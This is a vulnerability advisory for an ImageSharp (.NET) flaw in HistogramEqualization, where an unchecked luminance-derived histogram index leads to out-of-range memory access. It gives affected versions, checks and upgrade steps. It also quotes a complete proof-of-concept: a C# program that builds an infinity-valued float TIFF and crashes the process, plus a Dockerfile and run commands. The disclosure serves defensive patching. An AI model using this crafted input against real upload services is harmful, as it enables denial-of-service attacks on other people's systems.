---
id: "CVE-2026-106113"
kind: "vulnerability"
aliases: ["CVE-2026-106113", "GHSA-j3p4-wp97-rph4"]
title: "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index"
severity: "high"
cvss: 7.5
epss: 0.0039
exploited: false
status: "open"
category: "package"
products: [{"name": "SixLabors.ImageSharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "nuget"}, {"name": "SixLabors.ImageSharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "nuget"}, {"name": "sixlabors imagesharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "vendor"}, {"name": "sixlabors imagesharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "vendor"}]
ecosystems: ["nuget", "vendor"]
tags: ["cwe-787", "dotnet", "imagesharp", "nuget", "package", "self-hosted"]
not_affected_if: ["no-histogram-equalization", "no-tiff-input", "up-to-date-version"]
published_at: "2026-10-06T18:16:52+00:00"
first_seen_at: "2026-10-26T14:21:29+00:00"
updated_at: "2026-10-26T14:30:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j3p4-wp97-rph4", "first_seen_at": "2026-10-26T14:21:29+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106113", "first_seen_at": "2026-10-26T14:30:37+00:00"}]
---

# ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

ImageSharp's HistogramEqualization computes a histogram index from pixel luminance without validating it, so a crafted 32-bit float TIFF with infinity samples causes an out-of-range memory access. The reported result is a process crash (AccessViolationException), and the sources do not claim code execution.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- nuget:SixLabors.ImageSharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- nuget:SixLabors.ImageSharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2
- vendor:sixlabors imagesharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- vendor:sixlabors imagesharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2

## How to check

- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` at a version in the affected range (`>= 2.0.0, < 3.2.0` or `>= 4.0.0, < 4.1.2`).
- Search code for calls to `HistogramEqualization(` on images loaded from untrusted TIFF input.
- Check whether the app decodes float TIFFs as `Image<HalfVector4>` from user-supplied files.

## Fix

- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line or `4.1.2` on the 4.x line.
- Until upgraded, reject or skip `HistogramEqualization()` on images from untrusted TIFF uploads.

## Timeline

- 2026-10-26T14:21:29+00:00 ghsa https://github.com/advisories/GHSA-j3p4-wp97-rph4
- 2026-10-26T14:30:37+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-106113

## From the sources

### Summary

`SixLabors.ImageSharp` can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies
`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.

This report covers `HistogramEqualization` only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.
### Details

[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.

The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.

### Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```

### Reproduction

Build the supplied Dockerfile and run the exploit. The harness creates a valid
8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,
decodes it through the public API, and invokes `HistogramEqualization()`.

Observed result:

```text
mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133
```

The control is identical except samples are `0.5`:

```text
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0
```

When the same exploit binary was invoked through a shell inside the container,
the shell printed `Aborted` and reported status 134. The direct `docker run`
result above is the result for the supplied Docker commands.

No active exploitation is known.


### Complete PoC files

Program.cs:

```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
    {
        ifd.AddRange(BitConverter.GetBytes(tag));
        ifd.AddRange(BitConverter.GetBytes(type));
        ifd.AddRange(BitConverter.GetBytes(count));
        ifd.AddRange(BitConverter.GetBytes(value));
    }

    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
    private static byte[] BuildTiff(float sample)
    {
        const int width = 8;
        const int entries = 10;
        const int ifdOffset = 8;
        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
        List<byte> ifd = [];
        ifd.AddRange(BitConverter.GetBytes((ushort)entries));
        const ushort Short = 3, Long = 4;
        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth
        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength
        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample
        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none
        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero
        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets
        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel
        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip
        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts
        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float
        ifd.AddRange([0, 0, 0, 0]);
        file.AddRange(ifd);
        for (int i = 0; i < width; i++)
        {
            file.AddRange(BitConverter.GetBytes(sample));
        }

        return file.ToArray();
    }

    private static void Main(string[] args)
    {
        string mode = args.FirstOrDefault() ?? "exploit";
        float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
        byte[] tiff = BuildTiff(sample);
        Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
        Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
        image.Mutate(x => x.HistogramEqualization());
        Console.Error.WriteLine("completed");
    }
}

```

Project file:

```xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

```

Dockerfile:

```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

```

Run:

```sh
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
